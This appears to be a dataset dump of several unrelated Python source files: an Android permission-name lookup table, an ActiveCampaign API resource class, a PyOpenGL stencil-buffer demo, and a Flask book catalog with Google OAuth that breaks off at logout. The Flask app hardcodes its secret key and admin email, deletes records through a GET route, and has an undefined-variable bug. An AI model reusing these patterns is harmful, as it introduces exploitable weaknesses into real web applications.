\"添加或修改日历活动,并在所有者不知情的情况下向邀请对象发送电子邮件\": 20,\n \"读取浏览器的历史记录和书签\": 21,\n \"设置首选应用程序\": 22,\n \"读取同步设置\": 23,\n \"读取帧缓冲区\": 24,\n \"发送包删除的广播\": 25,\n \"访问缓存文件系统\": 26,\n \"显示未授权的窗口\": 27,\n \"(基于网络的)粗略位置\": 28,\n \"访问检入属性\": 29,\n \"读取联系人数据\": 30,\n \"读取手机状态和身份\": 31,\n \"删除其他应用程序的数据\": 32,\n \"修改网络使用情况记录方式\": 33,\n \"强行停止其他应用程序\": 34,\n \"永久停用手机\": 35,\n \"管理应用程序令牌\": 36,\n \"读取短信或彩信\": 37,\n \"绑定到 VPN 服务\": 38,\n \"与设备管理器交互\": 39,\n \"检索当前运行的应用程序\": 40,\n \"更改后台数据使用设置\": 41,\n \"添加语音邮件\": 42,\n \"对正在运行的应用程序重新排序\": 43,\n \"更改网络连接性\": 44,\n \"读取用户定义的词典\": 45,\n \"写入用户定义的词典\": 46,\n \"完全的互联网访问权限\": 47,\n \"发送持久广播\": 48,\n \"开机或关机\": 49,\n \"使用任何媒体解码器进行播放\": 50,\n \"停用键锁\": 51,\n \"限制运行的进程个数\": 52,\n \"管理帐户列表\": 53,\n \"删除应用程序\": 54,\n \"读取/写入诊断所拥有的资源\": 55,\n \"接收短信\": 56,\n \"写入浏览器的历史记录和书签\": 57,\n \"选择窗口小部件\": 58,\n \"控制闪光灯\": 59,\n \"绑定至输入法\": 60,\n \"更改屏幕显示方向\": 61,\n \"在闹钟中设置警报\": 62,\n \"控制位置更新通知\": 63,\n \"设置壁纸\": 64,\n \"绑定到窗口小部件服务\": 65,\n \"直接呼叫任何电话号码\": 66,\n \"录音\": 67,\n \"更改用户界面设置\": 68,\n \"启用或停用应用程序组件\": 69,\n \"将系统恢复为出厂设置\": 70,\n \"结束后台进程\": 71,\n \"发现已知帐户\": 72,\n \"控制系统备份和还原\": 73,\n \"启用应用程序调试\": 74,\n \"读取您的个人资料数据\": 75,\n \"拨打/接听互联网通话\": 76,\n \"控制振动器\": 77,\n \"记录您键入的内容和执行的操作\": 78,\n \"关闭所有后台应用程序\": 79,\n \"直接拨打电话号码\": 80,\n \"防止手机休眠\": 81,\n \"更改您的音频设置\": 82,\n \"按键和控制按钮\": 83,\n \"强行重新启动手机\": 84,\n \"删除所有应用程序缓存数据\": 85,\n \"精准的(GPS)位置\": 86,\n \"直接安装应用程序\": 87,\n \"计算应用程序存储空间\": 88,\n \"停止正在运行的应用程序\": 89,\n \"验证软件包\": 90,\n \"接收彩信\": 91,\n \"更改指针速度\": 92,\n \"写入您的社交视频流\": 93,\n \"让应用程序始终运行\": 94,\n \"写入同步设置\": 95,\n \"查看网络状态\": 96,\n \"测试硬件\": 97,\n \"发送短信收到的广播\": 98,\n \"允许安装位置信息提供程序\": 99,\n \"编辑短信或彩信\": 100,\n \"更新组件使用情况统计\": 101,\n \"修改全局系统设置\": 102,\n \"部分关机\": 103,\n \"使用帐户的身份验证凭据\": 104,\n \"查阅敏感日志数据\": 105,\n \"发送短信\": 106,\n \"读取网络使用情况历史记录\": 107,\n \"装载和卸载文件系统\": 108,\n \"创建蓝牙连接\": 109,\n \"检索屏幕内容\": 110,\n \"写入订阅的供稿\": 111,\n \"设置时间\": 112,\n \"修改/删除 SD 卡中的内容\": 113,\n \"强制应用程序关闭\": 114,\n \"接收 WAP\": 115,\n \"展开/收拢状态栏\": 116,\n \"修改手机状态\": 117,\n \"设置有关壁纸大小的提示\": 118,\n \"作为帐户身份验证程序\": 119,\n \"修改电池统计信息\": 120,\n \"拍摄照片和视频\": 121,\n \"读取您的社交视频流\": 122,\n \"开机时自动启动\": 123,\n \"绑定至文字服务\": 124,\n \"修改安全系统设置\": 125,\n \"显示系统级警报\": 126,\n \"监控所有应用程序的启动\": 127,\n \"读取订阅的供稿\": 128,\n \"绑定到壁纸\": 129,\n \"写入到您的个人资料数据\": 130,\n \"禁止切换应用程序\": 131,\n \"拦截外拨电话\": 132\n}","sub_path":"PycharmProjects/DataClean/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"172453616","text":"\"\"\"MarketingList resource for Active Campaign \"\"\"\n\nimport typing\nfrom django.http import Http404\nfrom ..base_resource import Resource\n\n\nclass MarketingList(Resource):\n \"\"\"An ActiveCampaign contact list.\"\"\"\n\n def __init__(\n self,\n name: str,\n stringid: str,\n sender_url: str,\n sender_reminder: str,\n **kwargs: typing.Dict,\n ) -> None:\n \"\"\"Initialize the marketing list.\n\n Args:\n name: Name of the list to create\n\n stringid: URL-safe list name. Example: 'list-name-sample'\n\n sender_url: The website URL this list is for.\n\n sender_reminder: A reminder for your contacts as to why\n they are on this list and you are messaging them.\n \"\"\"\n super().__init__(**kwargs)\n self.name = name\n self.stringid = stringid\n self.sender_url = sender_url\n self.sender_reminder = sender_reminder\n\n @staticmethod\n def resource_name() -> str:\n \"\"\"Get the resource name.\"\"\"\n return \"lists\"\n\n @staticmethod\n def map_field_name_to_attribute() -> typing.Dict:\n \"\"\"Serialize the list.\"\"\"\n return {\n \"name\": \"name\",\n \"stringid\": \"stringid\",\n \"sender_url\": \"sender_url\",\n \"sender_reminder\": \"sender_reminder\",\n }\n\n @classmethod\n def find(cls: typing.Type, name: str) -> \"MarketingList\":\n \"\"\"Get the list with the given name.\n\n Args:\n name: The name of the list to find\n\n Returns:\n The list with the given name.\n \"\"\"\n for lst in cls.filter({\"filters[name]\": name}):\n return lst\n raise Http404\n\n def __repr__(self) -> str:\n \"\"\"Generate internal representation.\"\"\"\n return f\"\"\n","sub_path":"active_campaign_api/resources/marketing_list.py","file_name":"marketing_list.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"104841856","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport math\nimport ctypes\nimport inspect\n\nfrom PySide.QtGui import *\nfrom PySide.QtCore import *\nfrom PySide.QtOpenGL import *\nfrom OpenGL.GL import *\nfrom OpenGL.GL import shaders\nfrom PIL import Image\nimport numpy as np\n\nimport glm\nimport camera\n\ncurrentFile = inspect.getframeinfo(inspect.currentframe()).filename\nabPath = os.path.dirname(os.path.abspath(currentFile))\n\nclass GLWindow(QGLWidget):\n\n def __init__(self, gl_format=None):\n if gl_format is None:\n # using opengl 3.3 core profile\n gformat = QGLFormat()\n gformat.setVersion(3, 3)\n gformat.setProfile(QGLFormat.CoreProfile)\n super(GLWindow, self).__init__(gformat)\n\n self.__timer = QElapsedTimer()\n self.__timer.start()\n\n self.camera = camera.Camera(0.0, 0.0, 3.0)\n self.__lastX = 400\n self.__lastY = 300\n self.__firstMouse = True\n\n self.__deltaTime = 0.0\n self.__lastTime = 0.0\n\n # if you want press mouse button to active camera rotation set it to false \n self.setMouseTracking(True)\n\n def loadShaders(self):\n vertexShaderFile = os.path.join(abPath, '2.stencil_testing.vs')\n fragmentShaderFile = os.path.join(abPath, '2.stencil_testing.frag')\n coloerShaderFile = os.path.join(abPath, '2.stencil_single_color.frag')\n vertexShaderSource = ''\n with open(vertexShaderFile) as vs:\n vertexShaderSource = vs.read()\n fragmentShaderSource = ''\n with open(fragmentShaderFile) as fg:\n fragmentShaderSource = fg.read()\n colorShaderSource = ''\n with open(coloerShaderFile) as cs:\n colorShaderSource = cs.read()\n\n vertexShader = shaders.compileShader(vertexShaderSource, GL_VERTEX_SHADER)\n fragmentShader = shaders.compileShader(fragmentShaderSource, GL_FRAGMENT_SHADER)\n colorShader = shaders.compileShader(colorShaderSource, GL_FRAGMENT_SHADER)\n return vertexShader, fragmentShader, colorShader\n \n def initializeGL(self):\n # setup some OpenGL options\n glEnable(GL_DEPTH_TEST)\n glDepthFunc(GL_LESS)\n glEnable(GL_STENCIL_TEST)\n glStencilFunc(GL_NOTEQUAL, 1, 0xFF)\n glStencilOp(GL_KEEP, GL_KEEP, GL_REPLACE)\n\n vertexShader, fragmentShader, colorShader = self.loadShaders()\n self.__shaderProgram = shaders.compileProgram(vertexShader, fragmentShader)\n self.__singleColorProgram = shaders.compileProgram(vertexShader, colorShader)\n\n vertices = np.array([\n -0.5, -0.5, -0.5, 0.0, 0.0,\n 0.5, -0.5, -0.5, 1.0, 0.0,\n 0.5, 0.5, -0.5, 1.0, 1.0,\n 0.5, 0.5, -0.5, 1.0, 1.0,\n -0.5, 0.5, -0.5, 0.0, 1.0,\n -0.5, -0.5, -0.5, 0.0, 0.0,\n\n -0.5, -0.5, 0.5, 0.0, 0.0,\n 0.5, -0.5, 0.5, 1.0, 0.0,\n 0.5, 0.5, 0.5, 1.0, 1.0,\n 0.5, 0.5, 0.5, 1.0, 1.0,\n -0.5, 0.5, 0.5, 0.0, 1.0,\n -0.5, -0.5, 0.5, 0.0, 0.0,\n\n -0.5, 0.5, 0.5, 1.0, 0.0,\n -0.5, 0.5, -0.5, 1.0, 1.0,\n -0.5, -0.5, -0.5, 0.0, 1.0,\n -0.5, -0.5, -0.5, 0.0, 1.0,\n -0.5, -0.5, 0.5, 0.0, 0.0,\n -0.5, 0.5, 0.5, 1.0, 0.0,\n\n 0.5, 0.5, 0.5, 1.0, 0.0,\n 0.5, 0.5, -0.5, 1.0, 1.0,\n 0.5, -0.5, -0.5, 0.0, 1.0,\n 0.5, -0.5, -0.5, 0.0, 1.0,\n 0.5, -0.5, 0.5, 0.0, 0.0,\n 0.5, 0.5, 0.5, 1.0, 0.0,\n\n -0.5, -0.5, -0.5, 0.0, 1.0,\n 0.5, -0.5, -0.5, 1.0, 1.0,\n 0.5, -0.5, 0.5, 1.0, 0.0,\n 0.5, -0.5, 0.5, 1.0, 0.0,\n -0.5, -0.5, 0.5, 0.0, 0.0,\n -0.5, -0.5, -0.5, 0.0, 1.0,\n\n -0.5, 0.5, -0.5, 0.0, 1.0,\n 0.5, 0.5, -0.5, 1.0, 1.0,\n 0.5, 0.5, 0.5, 1.0, 0.0,\n 0.5, 0.5, 0.5, 1.0, 0.0,\n -0.5, 0.5, 0.5, 0.0, 0.0,\n -0.5, 0.5, -0.5, 0.0, 1.0\n ], np.float32)\n\n self.planeVertices = np.array([\n # Positions Texture Coords (note we set these higher than 1 that together with GL_REPEAT as texture wrapping mode will cause the floor texture to repeat)\n 5.0, -0.5, 5.0, 2.0, 0.0,\n -5.0, -0.5, 5.0, 0.0, 0.0,\n -5.0, -0.5, -5.0, 0.0, 2.0,\n\n 5.0, -0.5, 5.0, 2.0, 0.0,\n -5.0, -0.5, -5.0, 0.0, 2.0,\n 5.0, -0.5, -5.0, 2.0, 2.0\n ], np.float32)\n\n # setup cube VAO\n self.cubeVAO = glGenVertexArrays(1)\n vbo = glGenBuffers(1)\n\n glBindVertexArray(self.cubeVAO)\n\n glBindBuffer(GL_ARRAY_BUFFER, vbo)\n glBufferData(GL_ARRAY_BUFFER, vertices.nbytes, vertices, GL_STATIC_DRAW)\n\n glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 5 * vertices.itemsize, None)\n glEnableVertexAttribArray(0)\n\n glVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, 5 * vertices.itemsize, ctypes.c_void_p(3 * vertices.itemsize))\n glEnableVertexAttribArray(1)\n\n # setup plane VAO\n self.planeVAO = glGenVertexArrays(1)\n planeVBO = glGenBuffers(1)\n\n glBindVertexArray(self.planeVAO)\n glBindBuffer(GL_ARRAY_BUFFER, planeVBO)\n glBufferData(GL_ARRAY_BUFFER, self.planeVertices.nbytes, self.planeVertices, GL_STATIC_DRAW)\n glEnableVertexAttribArray(0)\n glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 5 * self.planeVertices.itemsize, None)\n glEnableVertexAttribArray(1)\n glVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, 5 * self.planeVertices.itemsize, ctypes.c_void_p(3 * self.planeVertices.itemsize))\n glBindBuffer(GL_ARRAY_BUFFER, 0)\n\n glBindVertexArray(0)\n\n # load and create a texture\n texturePath = os.path.join(abPath, '..', '..', 'resources', 'textures', 'marble.jpg')\n self.cubeTexture = loadTexture(texturePath)\n texture2Path = os.path.join(abPath, '..', '..', 'resources', 'textures', 'metal.png')\n self.floorTexture = loadTexture(texture2Path)\n\n def resizeGL(self, w, h):\n QCursor.setPos(self.geometry().center())\n glViewport(0, 0, w, h)\n\n def paintGL(self):\n currentTime = self.__timer.elapsed() / 1000.0\n self.__deltaTime = currentTime - self.__lastTime\n self.__lastTime = currentTime\n\n # Render\n # Clear the colorbuffer\n glClearColor(0.1, 0.1, 0.1, 1.0)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT)\n\n glUseProgram(self.__singleColorProgram)\n\n view = self.camera.viewMatrix\n projection = glm.perspective(self.camera.zoom, float(self.width()) / self.height(), 0.1, 100.0)\n # get their uniform location\n modelLoc = glGetUniformLocation(self.__shaderProgram, 'model')\n glUniformMatrix4fv(glGetUniformLocation(self.__singleColorProgram, 'view'), 1, GL_FALSE, view)\n glUniformMatrix4fv(glGetUniformLocation(self.__singleColorProgram, 'projection'), 1, GL_FALSE, projection)\n glUseProgram(self.__shaderProgram)\n glUniformMatrix4fv(glGetUniformLocation(self.__shaderProgram, 'view'), 1, GL_FALSE, view)\n glUniformMatrix4fv(glGetUniformLocation(self.__shaderProgram, 'projection'), 1, GL_FALSE, projection)\n\n # Draw floor as normal, we only care about the containers. The floor should NOT fill the stencil buffer so we set its mask to 0x00\n glStencilMask(0x00)\n # Floor\n glBindVertexArray(self.planeVAO)\n glBindTexture(GL_TEXTURE_2D, self.floorTexture)\n glUniformMatrix4fv(glGetUniformLocation(self.__shaderProgram, 'model'), 1, GL_FALSE, np.identity(4, np.float32))\n glDrawArrays(GL_TRIANGLES, 0, 6)\n glBindVertexArray(0)\n\n # 1st. Render pass, draw objects as normal, filling the stencil buffer\n glStencilFunc(GL_ALWAYS, 1, 0xFF)\n glStencilMask(0xFF)\n # Cubes\n glBindVertexArray(self.cubeVAO)\n glBindTexture(GL_TEXTURE_2D, self.cubeTexture)\n model = glm.translate(np.identity(4, np.float32), -1, 0, -1)\n glUniformMatrix4fv(glGetUniformLocation(self.__shaderProgram, 'model'), 1, GL_FALSE, model)\n glDrawArrays(GL_TRIANGLES, 0, 36)\n model = glm.translate(np.identity(4, np.float32), 2, 0, 0)\n glUniformMatrix4fv(glGetUniformLocation(self.__shaderProgram, 'model'), 1, GL_FALSE, model)\n glDrawArrays(GL_TRIANGLES, 0, 36)\n glBindVertexArray(0)\n\n # 2nd. Render pass, now draw slightly scaled versions of the objects, this time disabling stencil writing.\n # Because stencil buffer is now filled with several 1s. The parts of the buffer that are 1 are now not drawn, thus only drawing\n # the objects' size differences, making it look like borders.\n glStencilFunc(GL_NOTEQUAL, 1, 0xFF)\n glStencilMask(0x00)\n glDisable(GL_DEPTH_TEST)\n glUseProgram(self.__singleColorProgram)\n scale = 1.1\n # Cubes\n glBindVertexArray(self.cubeVAO)\n glBindTexture(GL_TEXTURE_2D, self.cubeTexture)\n model = glm.scale(np.identity(4, np.float32), scale, scale, scale)\n model = glm.translate(model, -1, 0, -1)\n glUniformMatrix4fv(glGetUniformLocation(self.__singleColorProgram, 'model'), 1, GL_FALSE, model)\n glDrawArrays(GL_TRIANGLES, 0, 36)\n model = glm.scale(np.identity(4, np.float32), scale, scale, scale)\n model = glm.translate(model, 2, 0, 0)\n glUniformMatrix4fv(glGetUniformLocation(self.__singleColorProgram, 'model'), 1, GL_FALSE, model)\n glDrawArrays(GL_TRIANGLES, 0, 36)\n glBindVertexArray(0)\n glStencilMask(0xFF)\n glEnable(GL_DEPTH_TEST)\n\n def keyPressEvent(self, event):\n if event.key() == Qt.Key_Escape:\n qApp.quit()\n if event.key() == Qt.Key_W:\n self.camera.processKeyboard(camera.Camera_Movement.FORWARD, self.__deltaTime)\n if event.key() == Qt.Key_S:\n self.camera.processKeyboard(camera.Camera_Movement.BACKWARED, self.__deltaTime)\n if event.key() == Qt.Key_A:\n self.camera.processKeyboard(camera.Camera_Movement.LEFT, self.__deltaTime)\n if event.key() == Qt.Key_D:\n self.camera.processKeyboard(camera.Camera_Movement.RIGHT, self.__deltaTime)\n\n self.updateGL()\n return super(GLWindow, self).keyPressEvent(event)\n\n def mouseMoveEvent(self, event):\n pos = event.pos()\n if self.__firstMouse:\n self.__lastX = pos.x()\n self.__lastY = pos.y()\n self.__firstMouse = False\n\n xoffset = pos.x() - self.__lastX\n yoffset = self.__lastY - pos.y()\n\n self.__lastX = pos.x()\n self.__lastY = pos.y()\n\n self.camera.processMouseMovement(xoffset, yoffset)\n\n self.updateGL()\n return super(GLWindow, self).mouseMoveEvent(event)\n\n def wheelEvent(self, event):\n self.camera.processMouseScroll(event.delta())\n self.updateGL()\n\ndef loadTexture(texPath):\n textureID = glGenTextures(1)\n im = Image.open(texPath)\n glBindTexture(GL_TEXTURE_2D, textureID)\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, im.size[0], im.size[1], 0, GL_RGB, GL_UNSIGNED_BYTE, im.tobytes())\n glGenerateMipmap(GL_TEXTURE_2D)\n\n # parameters\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)\n\n im.close()\n glBindTexture(GL_TEXTURE_2D, 0)\n return textureID\n\nif __name__ == '__main__':\n import sys\n app = QApplication(sys.argv)\n\n glWindow = GLWindow()\n glWindow.setFixedSize(800, 600)\n glWindow.setWindowTitle('LearnPyOpenGL')\n glWindow.show()\n\n sys.exit(app.exec_())\n","sub_path":"pysrc/4.advanced_opengl/2.stencil_testing.py","file_name":"2.stencil_testing.py","file_ext":"py","file_size_in_byte":11937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"8294163","text":"#import database_setup\nfrom database_setup import Base, BookDB, User\n\n# import sqlAlchemy\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine\n\n# imports\nimport string\nimport httplib2\nimport requests\nimport random\nimport json\n\n# import flask\nfrom flask import Flask, render_template, request, redirect, url_for, \\\n flash, jsonify\nfrom flask import session as login_session\nfrom flask import make_response\n\n\n# import oauth\nfrom oauth2client.client import FlowExchangeError\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import AccessTokenCredentials\n\nimport os\nhere = os.path.dirname(__file__)\n\n# application configuration\napp = Flask(__name__)\napp.secret_key = 'itsasecret'\n\n# google client secret json\nsecret_file = json.loads(open(os.path.join(here, 'client_secret.json'), 'r').read())\nCLIENT_ID = secret_file['web']['client_id']\n# app name\nAPPLICATION_NAME = 'Item-Catalog'\n\n'''bind engine to the metadata of the base class, so that the\ndeclaratives can be accessed through a Database session instance'''\n\nengine = create_engine('sqlite:///BookCatalog.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n# validate current logged-in user\n\ndef check_user():\n # email login session\n email = login_session['email']\n # return and filter\n return session.query(User).filter_by(email=email).one_or_none()\n\n\n# get admin details of the user\n\ndef check_admin():\n return session.query(User).filter_by(\n email='loganscream@gmail.com').one_or_none()\n\n\n# add a new user into DB\n\ndef createUser():\n name = login_session['name']\n email = login_session['email']\n url = login_session['img']\n provider = login_session['provider']\n newUser = User(name=name, email=email, image=url, provider=provider)\n session.add(newUser)\n session.commit()\n\n\ndef new_state():\n state = ''.join(random.choice(string.ascii_uppercase +\n string.digits) for x in xrange(32))\n login_session['state'] = state\n return state\n\n#query all books\ndef queryAllBooks():\n #return bookdb\n return session.query(BookDB).all()\n\n\n# application routes\n\n# the main page\n\n@app.route('/')\n# route bools\n@app.route('/books/')\n# def showbooks\ndef showBooks():\n books = queryAllBooks()\n # new state\n state = new_state()\n # return render template\n return render_template('main.html', books=books, currentPage='main',\n state=state, login_session=login_session) # render the template\n\n\n# add new book\n\n@app.route('/book/new/', methods=['GET', 'POST'])\ndef newBook():\n if request.method == 'POST':\n\n # check if the user is logged-in or not\n\n if 'provider' in login_session and \\\n login_session['provider'] != 'null':\n # the book name\n bookName = request.form['bookName']\n # the book author\n bookAuthor = request.form['authorName']\n # url of the cover\n coverUrl = request.form['bookImage']\n # descripcion del libro\n description = request.form['bookDescription']\n # description\n description = description.replace('\\n', '
')\n # cateogria del libro\n bookCategory = request.form['category']\n user_id = check_user().id\n\n # book condition\n if bookName and bookAuthor and coverUrl and description \\\n and bookCategory:\n # new book\n newBook = BookDB(\n # book characteristics\n bookName=bookName,\n authorName=bookAuthor,\n # url of the cover\n coverUrl=coverUrl,\n description=description,\n # categoria of the book\n category=bookCategory,\n user_id=user_id,\n )\n session.add(newBook)\n session.commit()\n return redirect(url_for('showBooks'))\n else:\n state = new_state()\n return render_template(\n 'newItem.html',\n currentPage='new',\n title='Add New Book',\n errorMsg='ohh, All the Fields are Required!',\n state=state,\n login_session=login_session,\n )\n else:\n # set new state\n state = new_state()\n books = queryAllBooks()\n # render book\n return render_template(\n 'main.html',\n books=books,\n # set current page\n currentPage='main',\n state=state,\n login_session=login_session,\n errorMsg='Yoy need to Login first in order to Add a Book!',\n )\n elif 'provider' in login_session and login_session['provider'] \\\n != 'null':\n # set new state of the book\n state = new_state()\n # render the template\n return render_template('newItem.html', currentPage='new',\n #characteristics of the book\n title='Add New Book', state=state,\n login_session=login_session)\n else:\n # set new state\n state = new_state()\n # query all books\n books = queryAllBooks()\n return render_template(\n 'main.html',\n # book characteristics\n books=books,\n # page currently reading\n currentPage='main',\n state=state,\n # login session of the user\n login_session=login_session,\n errorMsg='You need to Login first to Add Book!',\n )\n\n\n# show book of a different category\n@app.route('/books/category//')\n# def sortbooks\ndef sortBooks(category):\n books = session.query(BookDB).filter_by(category=category).all()\n # set new state\n state = new_state()\n return render_template(\n 'main.html',\n # book characteristics\n books=books,\n currentPage='main',\n #error message for the user\n error='There is No Books in the database (DB) With This Genre',\n state=state,\n # login session of the user\n login_session=login_session)\n\n\n# show book detail\n@app.route('/books/category///')\n# def book detail\ndef bookDetail(category, bookId):\n # session query filter\n book = session.query(BookDB).filter_by(id=bookId,\n category=category).first()\n # set new state\n state = new_state()\n if book:\n return render_template('itemDetail.html', book=book,\n currentPage='detail', state=state,\n login_session=login_session)\n else:\n return render_template('main.html', currentPage='main',\n error=\"\"\"There is no Book Found of this Category\n and this Book Id :(\"\"\",\n state=state,\n login_session=login_session)\n\n\n# edit book detail\n@app.route('/books/category///edit/',\n methods=['GET', 'POST'])\n# defining edit Book Details\ndef editBookDetails(category, bookId):\n # session query filter\n book = session.query(BookDB).filter_by(id=bookId,\n category=category).first()\n # post request\n if request.method == 'POST':\n\n # check if the user is logged-in or not\n\n if 'provider' in login_session and login_session['provider'] \\\n != 'null':\n #book name request\n bookName = request.form['bookName']\n #book author request\n bookAuthor = request.form['authorName']\n # url of the cover\n coverUrl = request.form['bookImage']\n # description request\n description = request.form['bookDescription']\n bookCategory = request.form['category']\n # check user and admin\n user_id = check_user().id\n admin_id = check_admin().id\n\n # check if the book owner is the same as the logged-in user or admin or not\n if book.user_id == user_id or user_id == admin_id:\n # nested if condition\n if bookName and bookAuthor and coverUrl and description \\\n and bookCategory:\n # book detailss\n book.bookName = bookName\n book.authorName = bookAuthor\n book.coverUrl = coverUrl\n # book description and replace\n description = description.replace('\\n', '
')\n book.description = description\n # set book categoruy\n book.category = bookCategory\n session.add(book)\n session.commit()\n # return book details\n return redirect(url_for('bookDetail',\n category=book.category,\n bookId=book.id))\n else:\n state = new_state()\n return render_template(\n 'editItem.html',\n currentPage='edit',\n title='Edit Book Details',\n book=book,\n state=state,\n login_session=login_session,\n errorMsg='ohh, All the fields are Required!',\n )\n else:\n state = new_state()\n return render_template(\n 'itemDetail.html',\n book=book,\n currentPage='detail',\n state=state,\n login_session=login_session,\n errorMsg='Just the Owner can only edit the book Details!')\n else:\n # set new state\n state = new_state()\n # render the template\n return render_template(\n 'itemDetail.html',\n # book\n book=book,\n currentPage='detail',\n # state\n state=state,\n login_session=login_session,\n # error message for the user\n errorMsg='Login in order to edit Book Details!',\n )\n # start elif statement\n elif book:\n state = new_state()\n # nested if condition\n if 'provider' in login_session and login_session['provider'] \\\n != 'null':\n user_id = check_user().id\n admin_id = check_admin().id\n # nested if condition\n if user_id == book.user_id or user_id == admin_id:\n book.description = book.description.replace('
', '\\n')\n # return the render template\n return render_template(\n 'editItem.html',\n # editing the book details\n currentPage='edit',\n title='Edit the Book Details',\n # book declaration\n book=book,\n # state declaration\n state=state,\n login_session=login_session,\n )\n else:\n return render_template(\n 'itemDetail.html',\n book=book,\n currentPage='detail',\n state=state,\n login_session=login_session,\n errorMsg='Sorry, Just the Owner can only edit the book details!')\n else:\n # render template\n return render_template(\n 'itemDetail.html',\n # book characteristics\n book=book,\n currentPage='detail',\n # state and login session\n state=state,\n login_session=login_session,\n # error message for the user\n errorMsg='Login please in order to edit the book details!',\n )\n else:\n state = new_state()\n return render_template('main.html', currentPage='main',\n error=\"\"\"Ohh, Error editing Book! No Book Found\n with that Category and that Book Id\"\"\",\n state=state,\n login_session=login_session)\n\n\n# delete books\n\n@app.route('/books/category///delete/')\n# defining the delete book function\ndef deleteBook(category, bookId):\n # defining the book\n book = session.query(BookDB).filter_by(category=category, # category\n # id of the book\n id=bookId).first()\n state = new_state()\n if book:\n\n # check if the user is logged-in or not\n # start if condition\n if 'provider' in login_session and login_session['provider'] \\\n != 'null':\n user_id = check_user().id\n admin_id = check_admin().id\n # nested if condition\n if user_id == book.user_id or user_id == admin_id:\n session.delete(book)\n session.commit()\n return redirect(url_for('showBooks'))\n # else statement\n else:\n # render teh template\n return render_template(\n 'itemDetail.html',\n # book characteristics\n book=book,\n currentPage='detail',\n # state and login session for the book\n state=state,\n login_session=login_session,\n # error msg for the user\n errorMsg='Sorry, but Only the Owner Can delete the book'\n )\n else:\n return render_template(\n 'itemDetail.html',\n book=book,\n currentPage='detail',\n state=state,\n login_session=login_session,\n errorMsg='Hey! Login to Delete the Book!',\n )\n else:\n return render_template('main.html', currentPage='main',\n error=\"\"\"Error when Deleting the Book! No Book was Found\n with that Category and Book Id :(\"\"\",\n state=state,\n login_session=login_session)\n\n\n# json-endpoint\n@app.route('/books.json/')\n# defining books-json \ndef booksJSON():\n books = session.query(BookDB).all()\n # return in jsonify\n return jsonify(Books=[book.serialize for book in books])\n\n# json-endpoint\n@app.route('/books/category/.json/')\n# defining\ndef bookCategoryJSON(category):\n books = session.query(BookDB).filter_by(category=category).all()\n # return in jsonify\n return jsonify(Books=[book.serialize for book in books])\n\n# json-endpoint\n@app.route('/books/category//.json/')\ndef bookJSON(category, bookId):\n book = session.query(BookDB).filter_by(category=category,\n id=bookId).first()\n # return in jsonify\n return jsonify(Book=book.serialize)\n\n\n# this is the google sign-in function\n\n@app.route('/gconnect', methods=['POST'])\ndef gConnect():\n if request.args.get('state') != login_session['state']:\n response.make_response(json.dumps('Invalid State paramenter'),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # to obtain the authorization code\n\n code = request.data\n try:\n\n # upgrade the auth code into a credentials object\n\n oauth_flow = flow_from_clientsecrets('client_secret.json',\n scope='')\n oauth_flow.redirect_uri = 'postmessage'\n credentials = oauth_flow.step2_exchange(code)\n except FlowExchangeError:\n response = make_response(json.dumps(\"\"\"Failed to upgrade the\n authorisation code\"\"\"),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # check the access token is valid.\n\n access_token = credentials.access_token\n url = \\\n 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s' \\\n % access_token\n header = httplib2.Http()\n result = json.loads(header.request(url, 'GET')[1])\n\n # abort if there was an error in the access token info\n\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # verify the access token is used for intended user.\n\n gplus_id = credentials.id_token['sub']\n if result['user_id'] != gplus_id:\n response = make_response(json.dumps(\n \"\"\"Token's user ID does not\n match given user ID.\"\"\"),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # verify the access token is valid for the app.\n\n if result['issued_to'] != CLIENT_ID:\n response = make_response(json.dumps(\n \"\"\"Token's client ID\n does not match app's.\"\"\"),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # store access token in session for later use.\n\n stored_credentials = login_session.get('credentials')\n stored_gplus_id = login_session.get('gplus_id')\n if stored_credentials is not None and gplus_id == stored_gplus_id:\n response = \\\n make_response(json.dumps('Current user is already connected.'),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n login_session['credentials'] = access_token\n login_session['id'] = gplus_id\n\n # get info of the user\n\n userinfo_url = 'https://www.googleapis.com/oauth2/v1/userinfo'\n params = {'access_token': access_token, 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n\n data = answer.json()\n\n # add a provider to the login session\n\n login_session['name'] = data['name']\n login_session['img'] = data['picture']\n login_session['email'] = data['email']\n login_session['provider'] = 'google'\n if not check_user():\n createUser()\n return jsonify(name=login_session['name'],\n email=login_session['email'],\n img=login_session['img'])\n\n\n# logout the user\n\n@app.route('/logout', methods=['post'])\ndef logout():\n\n # disconnect based on the provider\n\n if login_session.get('provider') == 'google':\n return gdisconnect()\n 